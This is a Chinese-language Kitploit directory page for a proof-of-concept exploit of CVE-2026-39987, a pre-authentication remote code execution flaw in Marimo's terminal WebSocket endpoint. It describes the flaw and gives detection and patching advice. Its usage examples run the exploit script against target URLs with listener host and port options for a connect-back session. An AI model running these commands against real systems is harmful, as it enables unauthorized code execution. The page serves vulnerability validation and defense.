Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-39987 — CVE-2026-39987 的概念验证漏洞利用程序,针对 Marimo 终端 WebSocket 端点中的预认证远程代码执行(RCE)漏洞。演示了未认证的命令执行,并包含针对易受攻击实例和已修补实例的验证测试。 | Kitploit
工具/GitHubGitHub/th3purge/cve-2026-39987
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育红队
GitHubth3purge/cve-2026-39987

CVE-2026-39987

CVE-2026-39987 的概念验证漏洞利用程序,针对 Marimo 终端 WebSocket 端点中的预认证远程代码执行(RCE)漏洞。演示了未认证的命令执行,并包含针对易受攻击实例和已修补实例的验证测试。

查看仓库
17小时18分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-39987 Marimo 预认证远程代码执行漏洞


📋 漏洞信息

属性值
CVECVE-2026-39987
产品Marimo
漏洞类型预认证远程代码执行
攻击向量网络
认证要求不需要
用户交互不需要
CWECWE-306 — 关键功能缺少认证
严重程度严重
修复版本0.23.0

CVE-2026-39987 是一个影响 Marimo(一个响应式 Python 笔记本环境)的严重预认证远程代码执行(RCE)漏洞。该漏洞位于终端 WebSocket 端点 /terminal/ws。


🔍 根本原因

存在漏洞的终端端点在接受 WebSocket 连接后创建交互式 PTY。

从概念上讲,存在漏洞的请求流程如下:

root@kitploit:~
远程客户端
     |
     | WebSocket 连接
     v
/terminal/ws
     |
     | 缺少认证验证
     v
WebSocket 被接受
     |
     v
创建 PTY
     |
     v
交互式 Shell

关键的安全边界在于缺少认证检查。

暴露任意命令执行功能的端点绝不允许未认证的客户端到达 PTY 创建逻辑。


🎯 目的与范围

主要目标

本项目的目的是在受控环境中演示影响 Marimo 终端 WebSocket 端点的认证缺失问题。

安全团队可以使用该项目来:

  • 验证其 Marimo 实例的暴露情况
  • 验证安全补丁的有效性
  • 记录潜在的安全影响
  • 改进防御控制措施
  • 支持授权的漏洞验证

授权环境

  • 测试人员拥有的安全实验室
  • 获得明确书面授权的系统
  • 培训和教育环境
  • 授权的渗透测试和安全评估

警告: 仅对您拥有或明确授权测试的系统运行 PoC。


🔗 利用链

完整的漏洞利用链可总结如下:

root@kitploit:~
1. 攻击者发现暴露的 Marimo 实例
                |
                v
2. 攻击者连接到 /terminal/ws
                |
                v
3. 未强制执行认证
                |
                v
4. WebSocket 连接被接受
                |
                v
5. 创建 PTY 终端
                |
                v
6. 攻击者获得命令执行能力
                |
                v
7. 命令以 Marimo 进程身份执行

关键的安全失败发生在第 3 步。


📦 安装

环境要求

root@kitploit:~
Python 3.7+
pip
对授权目标的网络访问

依赖项

root@kitploit:~
# 基础安装
pip install websocket-client

# 完整安装
pip install websocket-client rich

验证

root@kitploit:~
python3 exploit.py --help

🚀 使用指南

基本语法

root@kitploit:~
python3 exploit.py -u <目标URL> --lhost <本地IP> --lport <端口>

实际示例

1. 本地实验室测试

root@kitploit:~
python3 exploit.py \
  -u http://127.0.0.1:8081 \
  --lhost 127.0.0.1 \
  --lport 4444

2. 授权远程测试

root@kitploit:~
python3 exploit.py \
  -u https://marimo.example.com \
  --lhost 192.168.1.100 \
  --lport 5555 \
  --timeout 30 \
  --retries 5

3. 调试模式

root@kitploit:~
python3 exploit.py \
  -u http://target:8081 \
  --lhost 10.0.0.5 \
  --lport 9999 \
  --verbose \
  --no-verify-ssl \
  --retry-delay 1.5

📋 参数参考


🔄 利用工作流程

root@kitploit:~
阶段 1:初始化
    ↓ 验证参数
    ↓ 配置日志

阶段 2:准备
    ↓ 初始化监听器
    ↓ 建立 WebSocket 连接

阶段 3:验证
    ↓ 测试终端端点
    ↓ 验证认证强制执行
    ↓ 记录连接行为

阶段 4:演示
    ↓ 建立授权测试会话
    ↓ 验证命令执行上下文
    ↓ 收集验证证据

阶段 5:清理
    ↓ 恢复终端状态
    ↓ 关闭连接
    ↓ 释放资源

🧪 验证测试

测试场景

存在漏洞的实例

root@kitploit:~
python3 exploit.py \
  -u http://vulnerable:8081 \
  --lhost 10.0.0.1 \
  --lport 4444

预期结果: 存在漏洞的终端端点接受未认证的连接。

已修补的实例

root@kitploit:~
python3 exploit.py \
  -u http://patched:8081 \
  --lhost 10.0.0.1 \
  --lport 4444

预期结果: 连接被认证控制拒绝或以其他方式阻止。

超时测试

root@kitploit:~
python3 exploit.py \
  -u http://firewalled:8081 \
  --lhost 10.0.0.1 \
  --lport 4444 \
  --timeout 5

预期结果: 超时被干净地报告。


📈 漏洞统计

root@kitploit:~
严重程度:       严重(CVSS 9.3)
复杂度:         低
认证要求:       无
影响:           远程代码执行
协议:           WebSocket
端点:           /terminal/ws
修复版本:       0.23.0

源 README 将该问题归类为 CVSS 9.3 严重级别,并标识了 CWE-306、WebSocket 协议以及受影响的端点 /terminal/ws。


🔎 检测

潜在的利用迹象包括对以下端点的意外 WebSocket 连接:

root@kitploit:~
/terminal/ws

防御者应调查:

  • 对终端 WebSocket 端点的意外连接
  • Marimo 产生的意外 Shell 进程
  • 可疑的子进程
  • 意外的出站连接
  • 对敏感环境变量的访问
  • 意外的文件系统活动
  • Marimo 进程执行的未知命令

🛡️ 修复建议

将 Marimo 升级到修复版本:

root@kitploit:~
0.23.0 或更高版本

其他防御性建议包括:

  • 除非必要,不要将 Marimo 直接暴露在公共互联网上。
  • 将笔记本服务置于经过认证的反向代理之后。
  • 将网络访问限制在受信任的用户和网络范围内。
  • 以所需的最低权限运行 Marimo。
  • 避免将敏感的主机目录挂载到容器中。
  • 轮换可能已被受感染实例访问的凭据。
  • 审查日志中可疑的 /terminal/ws 活动。
  • 调查可能已被入侵的实例,而不是假设仅打补丁就能消除攻击者的持久化。

🔐 安全分类

root@kitploit:~
CVE:        CVE-2026-39987
CWE:        CWE-306
严重程度:   严重
类型:       预认证 RCE
协议:       WebSocket
端点:       /terminal/ws
认证:       无需
修复版本:   0.23.0

📄 许可证

仅限授权使用

本项目仅供以下用途:

  • 授权的安全测试
  • 学术研究
  • 漏洞验证
  • 安全培训
  • 防御性安全开发

未经授权的使用被严格禁止,并可能违反适用的当地和国际法律。


⚠️ 免责声明

本项目仅供安全研究、漏洞验证和教育目的使用。

请勿对您不拥有或未经明确授权测试的系统使用 PoC。

维护者不对滥用、未经授权的测试、损害、数据丢失或因使用本项目而产生的任何后果负责。

下载工具
参数类型描述默认值
-u, --urlstring目标 Marimo 实例的基础 URL必填
--lhoststring监听器 IP 地址必填
--lportint监听器端口(1-65535)必填
--timeoutint监听器超时时间(秒)15
--retriesintWebSocket 连接重试次数3
--retry-delayfloat重试之间的延迟2.0
--no-verify-sslflag禁用 SSL 证书验证False
-v, --verboseflag启用详细输出False
-s, --silentflag抑制输出False